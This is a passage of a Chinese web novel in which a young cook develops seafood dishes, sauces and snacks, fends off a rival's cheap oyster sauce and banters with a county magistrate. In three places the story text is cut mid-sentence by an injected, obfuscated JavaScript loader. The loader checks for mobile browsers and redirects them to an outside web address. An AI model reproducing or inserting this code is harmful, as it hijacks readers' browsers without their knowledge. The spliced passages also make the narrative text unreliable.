“春香姐，你来真的？”云楚沅心情微妙，这八竿子打不着的两人凑到一起，还是因为云记食肆，这两人要是在一起了，她可算半个媒人。 钱春香用手指缠着胸前垂落的发丝，不好意思抬头，她轻轻点头，说道：“我是认真的，阿汤哥是个好人，他每日送完货后，还会留下来帮我的忙，我瞧着他是个靠谱的男人。” “钱婶知道了吗？她能同意吗？” 不是云楚沅不看好他们，而是于汤木讷寡言，不像是想要娶妻的样子，况且于汤年纪不小了，他们二人相差了八岁，人生的阅历、为人处事的方式都有很大的不同。 钱春香动作一顿，小心翼翼地往后厨的方向瞥了一眼，小声说道：“我娘还不知晓，待我和阿汤哥心意相通了，再告诉她。” “这样也好。”云楚沅点点头，毕竟于汤看起来还没开窍，八字都还没一撇呢，等钱春香把人追到手，再说见家长的事吧。 云楚沅穿过大堂，走进后厨，朱师傅在灶台前忙活着，手上颠锅的动作熟练。 如今他已经是云记食肆的主厨了，为了不辜负云楚沅的赏识，他夜以继日地精进厨艺，也算是小有所成。 “楚沅，你来啦。”钱婶择完菜，一抬头便看见了云楚沅。 朱师傅将锅里的菜盛出来，笑着说道：“楚沅你来的正好，尝尝我做的菜如何？” 菜肴的色和香都做到位了，云楚沅夹了一块鱼肉尝过后，给出中肯的建议，“火候大了点，鱼肉稍微有点散，后续可以多练练，熟能生巧。” “好的，我一定改进。”朱师傅牢记她的话。 云楚沅说道：“我今日来，是想上一道新菜，五香酥带鱼。” 银白的带鱼泛着微微的光泽，将带鱼处理好后，云楚沅在鱼身上划上几刀，以便其更好地入味，而后均匀地抹上盐和特制的五香粉进行腌制，让鱼肉充分吸收调料的香味。 带鱼块裹上一层薄薄的淀粉，下入油锅炸至金黄酥脆，加入葱姜、酱油、黄酒、糖、香料粉，大火烧开后转小火慢炖，汤汁渐渐收缩，带鱼吸满了调料的香味，同时鱼肉也更加入味。 五香粉是这道菜的灵魂所在，它由花椒、八角、桂皮、丁香、小茴香等香料混合而成，香气扑鼻，味道香浓却不腻。 朱师傅一边看，一边学，争取早日学会这道新菜品。 出锅后的五香酥带鱼，色泽红亮，外皮酥脆，鱼肉融合了五香粉的味道，经过长时间的炖煮，骨刺都酥了，吃起来完全不用担心卡嗓子。 “嗯，这道酥带鱼咸甜交织，别有一番风味。”朱师傅品尝过后，立刻就被五香酥带鱼的滋味征服了，他拌着汤汁连吃了两碗米饭，直至打起了饱嗝，才罢休。 云楚沅用陶罐装好的酥带鱼，做了个古代版的带鱼罐头，她准备带回去给裴昱臣和小弟、小妹尝尝。 32. 理想型 “楚河，楚清，你们快出来瞧瞧，阿姐带什么回来了！”一走进西院的大门，云楚沅就娇声喊道。 “阿姐，你回来啦！”云楚清甩着两根小辫子从房间里跑了出来，围着云楚沅蹦蹦跳跳，她摇晃着自家阿姐的手臂不停撒娇，“阿姐，我好想你~” 阿姐这几日回小渔村忙养殖的事，见不着人、吃不到她做的膳食，云楚清感觉度日如年。 云楚沅笑着低头，点了点她的小鼻子，“你这小丫头，是想我呢，还是想我的厨艺呢？” 云楚清被看穿了心思，吐了吐舌头，捡着好听话说：“自然是想你，吃食哪有阿姐重要。” “小妹，阿姐有些累，不做膳食了行吗？”云楚沅故意给她挖坑，她说自己不去做饭，可没说有提前做好了带回来。 “阿姐，你好好歇歇，我不饿。”云楚清不假思索地说道。 两人一边说，一边往屋子里走，云楚沅将手里提着的陶罐举了起来，故作为难道：“看来我带回来的五香酥带鱼没人吃了，唉，那我只能自己吃光光了。” 云楚清脚步一顿，不可思议地抬头看向长姐，“阿姐，是你做的鱼吗？” 云楚沅轻轻点头，“是呀。” 云楚清郁闷地低下头，早知道就不嘴快了。 “楚河去哪里了？”云楚沅没看见小弟的身影，转过头去，询问慢吞吞跟在身后的云楚清。 “哥哥去找裴县令了。”云楚清垂头丧气地回话。 不出所料，这小子又和裴昱臣呆在一块，也不知道小书生身上有什么魅力，俘获了一个小迷弟。 “阿姐，你一个人吃的完吗？”云楚清眼神飘忽不定，时不时偷看云楚沅手里的罐子。 云楚沅乐的不行，这鬼灵精，变着法子想问她讨吃食，“我一个人吃不完，所以我决定去主院和楚河还有裴县令一起吃。” 眼瞧着阿姐头也不回地出了房门，云楚清咬咬牙，顾不上面子，急切地追了上去，“阿姐，等等我，我也要去！” —— “青竹，楚河那小子在哪里？”云楚沅走进主院，问向站在院子里的青竹。 百无聊赖的青竹听到这娇俏的声音，立马换了副笑脸，“云姑娘，你来啦！楚河正在书房里练字呢。” 练字？就云楚河那个皮小子？ 云楚沅眉毛一挑，不可思议道：“我没听错吧，他还能静下心来学写字？” 青竹笑着说道：“姑娘有所不知，你不在的这几日，楚河天天来主院，他可听大人的话了，不是习剑就是认字，他学得都很认真。” 云楚沅敲了敲书房的门，非常好奇里面是怎样一副场景。 “吱呀”一声，门从里面开了，裴昱臣走了出来。 “我在里面就听见你叽叽喳喳的声音了，出什么事了？你如此激动。”裴昱臣双臂抱在胸前，好整以暇地看向云楚沅。 他身着一袭月白色长袍，上面绣着的祥云纹纹理细腻，头上系着一条同款发带，衣裳随着他抬手的动作起伏，宛如流动的水波，泛着柔和的光泽。 云楚沅上下打量着裴昱臣，他这身打扮书生气更重了，显得文弱。 “裴大哥，楚河呢？”云楚沅问道。 “在里面临摹字帖呢。”裴昱臣抬起胳膊将门推开了一条缝，让她自己看。 云楚沅低头从他撑起的胳膊下探头看去，比桌子高不了多少的人儿，正像模像样地握着毛笔书写。 “楚河聪慧，一点就通，他比照我的字练了几日，已经写的很流畅了。” 裴昱臣呼出的热气喷在云楚沅的头顶，惹得她缩了缩脖子，裴昱臣这才注意到两人离得太近了，连忙后退了两步。 云楚沅直起身，转过头来，就看见站在后面的青竹露出了一抹姨母笑，她嘴角微抽，不忍直视地偏过头，对裴昱臣说道：“你瞧瞧青竹，看着不太聪明的样子，你要不要换个人服侍你。” 青竹一听，立马收起了脸上的笑，讨饶道：“姑娘，你可不要乱说，大人会当真的。” 他们家大人遇上云姑娘，就像变了一个人，就拿在膳房处罚下人一事来说，向来说一不二的裴大人，竟改变原则，顺从了一名女子的想法。 青竹听到这事时，内心的震惊翻涌如潮，这就是温柔乡、英雄冢吗？他不敢想象，自家大人若是成了亲，岂不是日日被女子管教。 裴昱臣看着青竹一阵红一阵青的脸色，心生疑窦，难不成被楚沅说准了？他看走了眼，选了个愚笨之人？ 自家大人盯着他不说话，青竹的心里“咯噔”一下，不会吧，不会吧，我英明神武的大人真的被女子蛊惑了吗？ “大……大人，您干嘛这样看着我？”青竹浑身不自在。 他灵机一动，转头看向旁边幸灾乐祸的云楚沅说道：“云姑娘，你不是说有礼物要送我们大人吗？快拿出来吧。” 青竹随口胡诌的话，竟说中了，云楚沅意外地看了他一眼，没想到他还挺有眼色，见她提着罐子，就知晓她是来送东西的。 “哦？是何物？”裴昱臣的脸上表情未变，可他心里有几分高兴，楚沅平日里虽然不着调，可她有好东西还是记着他的。 云楚沅攥着绳子，将陶罐拎起来，举到裴昱臣眼前，说道：“我做的五香酥带鱼，想和你还有楚河一起吃。” 站在旁边默不作声的云楚清插嘴：“阿姐，我有点饿了。” 云楚沅瞧她委屈巴巴的模样，掩着嘴笑，决定不再逗她，“好，你也一起。” 裴昱臣进了书房，将云楚河叫了出来，他们围着院子里摆好的桌子坐下，桌上除了米饭和小菜，中间最显眼的位置放着五香酥带鱼。 “楚河，你跟着裴大人学得如何？能读几本书了？以后也想考功名、当大官吗？” 小弟的变化让云楚沅想到了她一直忽略的事，她赚银子可以从物质上满足弟弟妹妹的需求，可他们长大以后要做什么，她从未考虑过。 小渔村的孩子成日跟在大人身后跑，云楚沅想当然地以为古代人就是这么养孩子，她走到哪就把小弟和小妹带到哪，从来没征询过他们两个意见，也许他们对自己的未来有所规划。 “阿姐，我还没想好。”云楚清头也不抬地说道，她一门心思全在吃上。 “阿姐，我不想做官，我想和你一样做生意赚大钱。” 云楚河的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860586|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答出乎云楚沅的意料，她原以为小弟喜欢跟着裴昱臣，是以他为榜样，想走科举之路，她万万没想自己才是他的人生目标。 “那你怎么每日黏着裴大哥呢？”云楚沅疑惑。 云楚河理所当然地回答：“阿姐，若是不识字，我怎么数银子？我要是大字不识一个，做生意的时候岂不是会被人骗的很惨。” 他说的很有道理，云楚沅无法反驳。 裴昱臣听到云楚河的话，并未露出异样的神色，他没觉得遗憾，也没觉得云楚河是在浪费天赋、自甘堕落。 不论是做官，还是经商，都有各自的生存之道，他自踏入官场，见识到了不少利欲熏心、中饱私囊之事。 能在物欲横流的官场中坚守本心不是件易事，连裴昱臣自己都在摸着石头过河，前路未卜，他又怎会昧着良心将这孩子拉入这个大染缸中呢。 在他看来，只要不做损人利己之事，做什么营生都是可行的。 “你有想法是好事，既如此，我书房里那本《九章算术》你先学起来吧。” 裴昱臣这话的意思就是表示支持，云楚河得到他的认可，喜滋滋地说道：“多谢裴大哥，我会让我阿姐多做些美味佳肴报答你的！” 云楚沅白了他一眼，臭小子拿她做人情，真是不知羞，“你小子不想着自己报答裴大人，让你如花似玉的长姐替你报答，是何居心？你就不怕他让我以身相许吗？” 裴昱臣脸颊微红，默默低下头夹鱼吃，他已经被调戏得有了经验，这个时候只能装聋作哑，否则越理她，她越来劲。 云楚河眼神古怪地看了云楚沅一眼，心直口快道：“阿姐，你也太自以为是了，不是弟弟打击你，人家裴大哥可是从京城来的，什么大家闺秀没见过，能看上你？” “你这小兔崽子，狗嘴里吐不出象牙！白吃我这么些东西了，给我吐出来！”云楚沅气得火冒三丈，把云楚河装满酥鱼的碗一把夺走。 “阿姐，我错啦！我不该这么说！”云楚河顿时哀嚎起来。 察言观色的云楚清紧紧捂住了自己的碗，生怕被殃及池鱼。 “咳咳……”裴昱臣差点呛到，他眼神不赞同地看向云楚河，郑重其事地说道：“此言差矣，并非家世好、相貌好的女子才是好女子，我更欣赏你阿姐这样钟灵毓秀的女子。” “听到没有！我才是裴县令的理想型，他亲口说过我是天下最好的女子。也就你这样肤浅的人，看重外在，内在美才是真的美，而你姐姐我，内外兼修，无人能及！”云楚沅撂下筷子，双手叉腰，振振有词。 云楚河被教训得抬不起头，他欲哭无泪，这叫什么事儿啊！他明明是想捧裴大哥两句，无意间中伤了阿姐，结果他们两人一唱一和的，把他搞得里外不是人！ 裴昱臣在一旁劝慰：“楚沅，消消气，孩子还小，不懂事，分不清好赖，别跟他一般见识。”顺便为她倒了杯茶。 “吨吨吨！”云楚沅一口气喝完，喘着粗气说道：“再来一杯！” 裴昱臣立刻为她添满。 云楚河嘴撅得都能挂油壶了，眼前的画面十分眼熟，这不就是从前他惹娘亲生气时，爹娘相处的样子吗…… 33. 鱿鱼丝和鳕鱼片 眼不见心不烦，云楚沅将用完饭的小弟赶出了院子，云楚清颇有眼色地一同离开了，主院里，只剩云楚沅和裴昱臣。 云楚沅斜了裴昱臣一眼，娇声怒喝道：“都怪你！” 裴昱臣一头雾水，这怎么还能波及到他？ “楚沅，你这是何意？”裴昱臣的双手不自觉地置于膝头，挺直腰板。 “哼，楚河以前乖巧得很，从来不敢顶撞我，可自从跟在你身边后，他是越来越不把我放在眼里了！如今都能当着我的面说我的坏话，你说，这里面有没有你的责任！” 云楚沅的无理取闹令裴昱臣汗流浃背，遇上不讲理的小女子怎么办？ 顺着她呗，还能怎么办，这日子总得过下去，要不然小厨娘跑了可就得不偿失了。 裴昱臣原本棱角分明的薄唇此刻紧紧抿着，他嘴角微动，想要努力挤出一抹讨好的笑，却又因为不习惯而显得有些僵硬。 “嗯，我有责任，我该教他敬重长姐、爱护长姐。” 低眉顺眼的小书生语气温和，云楚沅的怒火如同被冷水浇灭一般，顿时烟消云散。 云楚沅的脸色缓和下来，那因愤怒而涨红的脸蛋慢慢恢复了原本的白皙，她鼓着脸，小声说道：“哼，算你识相，本小姐大人有大量，原谅你了！” 裴昱臣见她如此，松了口气，这丫头虽然脾气大了点，却也好哄。 她方才瞪得像铜铃般大的圆眼，这会儿也笑成了弯弯的月牙，神情中还带着那么一点娇蛮。 高昂的下巴放平，就像个泄了气的小皮球，不过这只小皮球还挺可爱的，令人止不住想发笑。 裴昱臣握紧的拳头抵在唇边，遮住嘴角，要是叫这小祖宗看见他偷笑，肯定又要闹翻天了。 云楚沅的嘴里还嘟囔着什么，是只有自己能听见的抱怨，那模样，活脱脱就是个闹完脾气后又有点不好意思的娇俏丫头。 —— 这日，云记海味坊迎来了一位半遮半掩的客人，他穿着一件破旧的长袍，头戴斗笠，脖子上的方巾遮住了大半张脸。 他鬼鬼祟祟地走进海味坊，径直找上李大强。 “李掌柜，收货不？我这有一批便宜的蚝豉想卖给你。”客人压低嗓音说道。 为了更好地保存牡蛎，渔民们一般会选用新鲜的并且肉质饱满的牡蛎作为原料，蒸煮后晒干，将其制成的干制品蚝豉。 云记所用的海鲜都是从养殖区现捞的，只有在淡季时，才会选用干货，夏季正是牡蛎的淡季。 如今，小渔村的加工坊做蚝油，是将蚝豉煮熟，再提取其汁液浓缩，添加佐料制成的。 李大强看了看筐子里的蚝豉，摇了摇头，说道：“你这蚝豉品质不行，我们不能用。” 蒙脸男人悄声说道：“掌柜的，你和我做成这笔生意，中间可能捞不少油水呢。这事，天知地知，你知我知。” 李大强当即拉下了脸，冷声说道：“以次充好之事，我是不会做的，你赶紧滚，我们云记不欢迎你！” 那位客人见说服不了他，不再强求，转身离开了。 “你跟上去瞧瞧。”李大强留了个心眼，叫小伙计去看看那人什么来头。 没过一会儿，小伙计急匆匆地回来，凑近李大强的耳畔，小声嘀咕了起来。 李大强的脸色变幻莫测，想了想，他决定现在就去县衙一趟，将此事禀告东家。 —— “砰！”云楚沅将手中的茶盏重重放于桌上，“你是说徐家铺子也开始卖蚝油了？” 面前的李掌柜将一个小罐子呈了上来，“东家，我来之前，托人从徐家酱园买来的。” 云楚沅打开小罐，用食指蘸了点酱料，塞进嘴里细细品尝，“这味道比我们店里的差远了。” 小人行径，云楚沅面露不屑，徐家人以为照葫芦画瓢就能将调味料仿照出来吗？ 李掌柜皱着眉头说道：“东家，徐家酱园的蚝油味道差了点，可是价钱便宜许多。他们为了降低成本，以低价收购了大批劣质蚝豉，用这些劣质蚝豉来制作蚝油。这几日，咱们云记海味坊的蚝油销量下降了不少，这可如何是好？” 欺人太甚！徐家酱园里推出的低价蚝油抢占了市场份额，这是想用劣币驱逐良币啊！ 云楚沅问道：“那海鲜酱呢？他们不会连咱们新出的海鲜酱也剽窃去了吧？” “这倒没有，不过今日有人来铺子里想要把品质极差的蚝豉卖给我们，我派人去查了查，是徐家在背后捣鬼，想要坏我们生意。” 云楚沅沉思片刻，说道：“这样，你去定制一批小号罐子，将一瓶蚝油和一瓶海鲜酱捆绑售卖，取名优惠装。还有，单瓶的多添一些蚝油，写上宣传语‘加量不加价’。” 不得已，云楚沅采用起了现代的营销手段。 “是，东家，我这就去办。”李大强得了吩咐，离开了。 云楚沅坐在房间里静静思考，营销策略只能锦上添花，产品好坏才是生意成功的关键，百姓们不是傻子，尝过徐家酱园的蚝油一次，就能明白品质如何，自然不会再买账。 她决定趁热打铁，研发出鲍汁蚝油的配方，通过推出新产品，挽回云记海味坊市场份额的同时，打击徐家酱园，狠狠搓一搓徐家人的锐气，谁叫他们只会做投机取巧之事！ 云楚沅迫不及待地回到小渔村，刚想着手研究，就听村长夫人说了件坏事。 “楚沅啊，我听说近日有人频繁接触咱们加工坊的人，出两倍的月钱请他们去别处干活，隔壁村的那伙人都走了，留下来的都是咱们小渔村的人。” 云楚沅的心情十分糟糕，这挖墙脚直接挖到家门口来了。要不是她和村民们关系匪浅，她这加工坊岂不是要被搞垮？ 村长夫人忧心忡忡地说道：“人少了可以再招，可就怕他们把配方偷学了去。” 这一点，云楚沅在开加工坊之前就想到了，她将加工坊隔成了好几间屋子，每间屋子里的人分工不同，这已经在最大程度上隐藏制作流程了。 而且外村的人都被她安排去做装罐工作了，防人之心不可无，不是知根知底的人，不能完全重用。 经过多次试验和调配，云楚沅终于研发出了鲍汁蚝油的配方，这款鲍汁蚝油在原版蚝油的基础上加入了新鲜鲍鱼，经过精心熬制，口感鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860587|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美无比。 鲍汁蚝油一经上市，便风靡全县城，尽管它的价格略贵一点，却也挡不住百姓们对它的喜爱。 这次恶意竞争之事算是有惊无险地度过了，却给云楚沅敲响警钟。 她不能在吃老本了，酱料配方被人研究出来是早晚的事，只有不断推新，才能走在前头。 待她云记的名号打出去，便会有品牌效应，云记自然而然会成为大家的首选。 清晨，村民们迎着初升的朝阳，从海中捕捞起新鲜的大鱿鱼。这些鱿鱼个头饱满，色泽晶莹，成筐成筐地被运往加工坊。 宽敞明亮的加工坊里，村民们围坐在一起，手中拿着锋利的刀具，仔细处理着鱿鱼。 首先将鱿鱼的内脏、眼睛、嘴巴剔除掉，再清理表面的薄膜和骨头，处理好的鱿鱼肉平铺在案板上，用刀沿着长边，将其切成宽度均匀的长条。 云楚沅亲自上阵，将鱿鱼丝放入陶罐中，加入适量的盐、姜片、黄酒、酱油等调料进行腌制，去除腥味、增添风味。 腌制好后，村民们会用清水冲洗干净鱿鱼丝表面的调料残渣，沥干水分。 而后，云楚沅取出准备好的茱萸和孜然进行研磨，将鱿鱼丝均匀地拌入其中，她依照人们口味的不同，做出两款鱿鱼丝。 村民们把调味好的鱿鱼丝摆放在竹编的烤架上，点燃炭火，开始烘烤，期间会不时地翻动鱿鱼丝，确保每一面都能烤至金黄酥脆。 烤制完成的鱿鱼丝紧实又富有弹性的口感，一口咬下去，微微弹牙，咸味适中，恰到好处地烘托出鱿鱼本身的鲜甜。 “好吃诶，这玩意真有嚼劲！”村长夫人咽下鱿鱼丝后，口中仍留着淡淡的余味，那股咸香鲜甜的滋味久久不散，勾着人再拿起一根。 云楚沅满意一笑，这就是零食的魅力之处。 紧接着，她准备做第二款与之不相上下的美味——鳕鱼片。 云楚沅精心挑选出肉质细嫩的银白鳕鱼，确保每一片鱼都取自最佳部位。清洗干净的鳕鱼，去除鳞片和内脏，然后将其切成薄而均匀的鳕鱼片。 鱼片上轻轻涂抹一层秘制调料，这些调料包括盐、糖、酱油、胡椒粉以及香料粉，它们能够渗透进鱼肉中，提升其鲜美的味道。 鳕鱼片逐一摆放在预热好的烤网上，烤制过程中，需要不断翻动鱼片，确保两面受热均匀，直至熟透。 烤鳕鱼片的口感非常奇特，肉丝细腻，鲜香耐嚼。 云楚沅将这两款做好的零食分给众人，想听听他们的反馈。 “嘿，想不到鱼还能这样吃呢！” 渔民们吃鱼是用来填饱肚子的，他们从未见过零食这样解馋、解闷的吃法。 “太有嚼劲了，我干活的时候要是吃着这个，肯定能做的更好！” 忙里偷闲，边吃零食边干活，缓解压力的同时，有概率提高做事效率。 “云丫头，我觉得这个叫零食的东西完全可以取代点心呀！点心房里卖的那些糕点又甜又腻，我不爱吃。” 取代倒不至于，咸口零食和甜口糕点受众不同、难分高下，海产品零食可以推销给不爱吃甜食的人。 34. 海鸭蛋 东街，云记海味坊。 今日张灯结彩，人声鼎沸，吉时良辰，八方来客至。 店铺前的青石板地面被清扫得纤尘不染，门上悬着的红绸随风摆动，引得路人纷纷驻足，交头接耳间满是好奇。 紧锣密鼓之下，店门开启，鞭炮齐鸣，硝烟弥漫，噼里啪啦的声响打破了清晨街道的宁静，迎来喜庆的氛围。 “瞧一瞧，看一看嘞，云记海味坊，今日大促销！”李掌柜站在门前高声吆喝，“凡消费满十文减一文，消费满一百文，还可参与本店的抽奖活动。” 话音一落，围观群众议论纷纷。 “什么情况，云记海味坊不是上个月才开张吗？怎得又放鞭炮？” “你没听见吗？掌柜的说上新品，要搞活动。” “又上新？云记前些日子新出的鲍汁蚝油味道可好了，不知这次会有什么新鲜玩意。” “这调味料还得来云记买，上回我贪便宜买了徐家酱园的蚝油，难吃死了，完全不是一样东西！” “徐家的铺子？那就不奇怪了，徐记粮铺卖的米都会掺杂陈米。” “别提了，我买了一袋米，吃出了石子，去徐记索赔，他们根本不认账。” “还是云记的东西好，物美价廉，特别是酱料，还有优惠装。” “对，所以我以后就认准云记了。” 人群如潮水般涌进铺子，他们被琳琅满目的商品和诱人的优惠活动吸引，眼中闪烁着兴奋的光。 伙计们穿梭在人群中，为客人们提供周到的服务。 结账时的抽奖活动惹人瞩目，甚至有人买完东西还留下来观看，每一次开奖都伴随着人们的欢呼声和惊叹声。 云楚沅设置了一、二、三等奖，礼品分别是五百文代金券、一瓶鲍汁蚝油和一两鱿鱼丝，其中代金券能在云记旗下的海味坊和食肆通用。 围在柜台前看热闹的冯四郎瞧见了邻居郭峰站在不远处，他从人群的间隙挤了过去，和老熟人打了个招呼，“诶，好巧哇，你也在呀，你中了几等奖？” 郭峰说道：“冯哥，我还没去抽呢，我想再选几样东西凑够两百文，这样我就能抽两次奖了。” “那你买这么多酱料用的完吗？”冯四郎疑惑道。 郭峰向他透露了一件事，“我准备去集市卖馄饨，用蚝油调出来的汤味道可好了。” “原来如此，到时候我一定去捧场。”冯四郎继续说道，“我只抽中了三等奖，也不知谁会抽中一等奖。” 郭峰将要买的东西选好，排队结账，“能中奖就挺好的了，我看前面连着五人都没中奖。”他以往都没有走运的时候，自然不会抱太大的期待。 轮到郭峰时，已经连着十几人没抽中任何奖品了，围观的人们都在看热闹，想知晓这记录能达到多少人。 “二百零四文，你可以抽两次奖。”小伙计一边为他打包货物，一边说道。 郭峰将手伸进抽奖箱，到处摸索，纠结了好一会，才选了一张纸条，打开一看，空白的。 不出所料，他没那个运气，郭峰叹了口气，心里多少有些失落。 “客官，再选一张吧。”伙计对此见怪不怪，今日来了这么多客人，还没有一个抽中一等奖的。 郭峰随意拿了一张，不抱希望地打开来看，顿时傻眼了，这……这上面怎么写着一等的字样？ 他不敢置信地揉了揉眼睛，颤声说道：“冯哥，你，你瞧，这是什么奖？” 一旁的冯四郎也傻眼了，他盯着郭峰左瞧右瞧，感慨道：“你小子行啊，这一等奖让你给抽了去。” 伙计也很惊讶，连忙笑着说道：“恭喜这位客官，获得价值五百文的代金券一张！” 小伙计动作麻利地将早就准备好的代金券递给客人，这一等奖要是再不出现，恐怕要被人说他们云记弄虚作假了。 “哈哈，我中了，我中了一等奖！”郭峰兴奋地蹦了起来，直到此刻接过这张薄纸，他才有了中奖的真实感。 周围的客人纷纷出声道贺，或是羡慕，或是嫉妒，这人怎么这么好运！ 李掌柜看着店铺里络绎不绝的客人，满意地点了点头，东家还真是个神人，新奇的点子一个接一个。 云记在临海县的影响力达到了空前绝后，蚝油酱料已经家喻户晓，李大强再次庆幸自己选择来云记做事，他有预感，云记的未来不可估量。 云楚沅在后院整理账目，今日的促销活动取得了巨大成功，进账了好几两银子，都快抵得上县衙厨娘一个月的月钱了。 想到这，云楚沅不由骄傲地挺了挺胸膛，裴昱臣的身家已经比不上她了，她还愿意委身于县衙做小厨娘，是给他这个县令一个面子！ 短短一日，海味坊库房里的存货几近被掏空，云楚沅赶回小渔村，督促村民们加快进度，并承诺以后的月钱翻一番。 要是跳槽到徐家酱园的那伙人知道他们一离开，云记加工坊就涨了月钱，怕是会气得吐血。 “云妹子，今个到我家用午膳呗，老早就说要请你来林家，你一直忙，都不得闲，今日可有空？”钟兰花瞧见云楚沅，乐呵呵地说道。 “兰花嫂子，妹妹我也一直惦记着这事呢。” 云楚沅初见钟兰花时，两人化干戈为玉帛，约好了要去林家做客，却赶上钟兰花要回家教训两个弟妹，就不了了之了。 后来，云楚沅忙起养殖的事，也只是抽空去林家还了钱，没有留下吃饭。 林家是小渔村承包海域面积第二大的那户人家，仅次于云楚沅，这可都归功于云楚沅，所以林家人一直念叨着要好好谢谢她。 “哎哟，云丫头来了呀，快进来！” 云楚沅跟着钟兰花走进林家大门，一位精神矍铄的老妇人赶忙起身迎接。 “哎，大娘，您快请坐。”云楚沅扶着林老夫人往院里走去，林老夫人生了五男一女，年纪属实是不小了，鬓边有了白发，云楚沅可不敢劳烦她。 “好好，你是个好孩子，小鱼，快去倒杯水来。”林大娘一边指使小闺女，一边亲热地将云楚沅拉到凳子上坐下。 “知道啦！”林小鱼冲着云楚沅笑了笑，一蹦一跳地进了厨房。 林大娘轻拍着云楚沅的手背，细细打量着眼前这位不简单的小辈，这可是他们小渔村的金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866017|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤凰。 “云丫头，你定亲了吗？” 云楚沅腼腆一笑：“大娘，还没有，我忙着做生意，没时间考虑婚事。” 林大娘笑容更加灿烂：“话可不能这么说，你这么有出息，得找个贤惠的夫婿来帮你排忧解难、料理家事呀。” 云楚沅面露讶异，没想到林大娘的思想这么超前，女主外男主内都来了！ 林大娘的脸笑成了一朵菊花，挤眉弄眼道：“云丫头，你看我们家老小如何，他嫁到你们家肯定能伺候好你。” “噗！”云楚沅忍不住将嘴里的水喷了出来，这林大娘还真是语出惊人，竟想让小儿子入赘。 不是都说，小儿子大孙子，老人家的命根子，这林家怎么如此与众不同。 陪坐在一旁的林小鱼哼了一声：“娘，你想得真美，云姐姐貌美又能干，岂是我小哥那个窝囊废能配得上的！” “你这丫头，怎么说话呢！”钟兰花轻推了林小妹一下，怪她口无遮拦。 林小鱼不服气地撅了撅嘴：“本来就是嘛，他肩不能扛、手不能提，性子柔弱，就别耽误好人家的姑娘了。” “咔嚓”一声脆响，吸引了众人的注意力，云楚沅闻声回头，一个长相秀气、身材纤细的男子站在房间门口，脚前还有摔碎的茶杯。 钟兰花连忙起身，收拾地上的碎片，语气担忧道：“小贝，有没有伤着？你小心一点。” 林小贝委屈地望向林小鱼，轻声道：“小妹，你怎能这么说我，我做错了什么？”说完，他的眼眶微微泛红。 林小鱼翻了个白眼，鄙夷道：“你还是不是个男人，说你两句就要哭。” 林小贝和林小鱼这对龙凤胎，仿佛生错了性别，哥哥性格温柔，喜欢刺绣，而妹妹自小调皮捣蛋，长大了便闹着要随父兄出海，皮肤晒得黝黑，完全没有女子样。 这两兄妹十八岁了，还都没有嫁娶，林大娘为此没少操心。 “小贝，快过来，和你云妹妹问好。”林大娘面容慈蔼地朝小儿子招了招手。 林小贝迈着小碎步走到云楚沅跟前，行了一礼，柔声道：“云姑娘安好。” “哈哈，林小哥，你好你好。”云楚沅面上笑着回应，内心啧啧称奇，小小渔村，卧虎藏龙。 林大娘见他们两个说了两句话就没再出声，心下了然，这是没看对眼，她也不再强求，而是转移了话题，“云丫头，你来的正好，兰花她娘家人昨日送来几筐海鸭蛋，其中还有腌好的，你待会拿回家一些。” 云楚沅来了兴趣，海鸭蛋通常来自于放养在海边的鸭子，它们以海鲜为食，产下的蛋味道独特。 比起普通鸭蛋，海鸭蛋往往更加饱满，蛋黄比例更大，口感更加醇厚，营养也更加丰富。 “谢谢大娘！”云楚沅欣然点头，她可不是喜欢假客气的人。 云楚沅跟着林大娘进了厨房，那些海鸭蛋的蛋壳颜色从淡绿到深棕不等，个头不小，拿在手中，沉甸甸的。 淡青色的外壳敲开，蛋白清澈透亮，蛋黄圆润饱满，而且是橙色的，用筷子轻轻搅动，蛋液很有韧性，拉丝般绵密，不会轻易散开。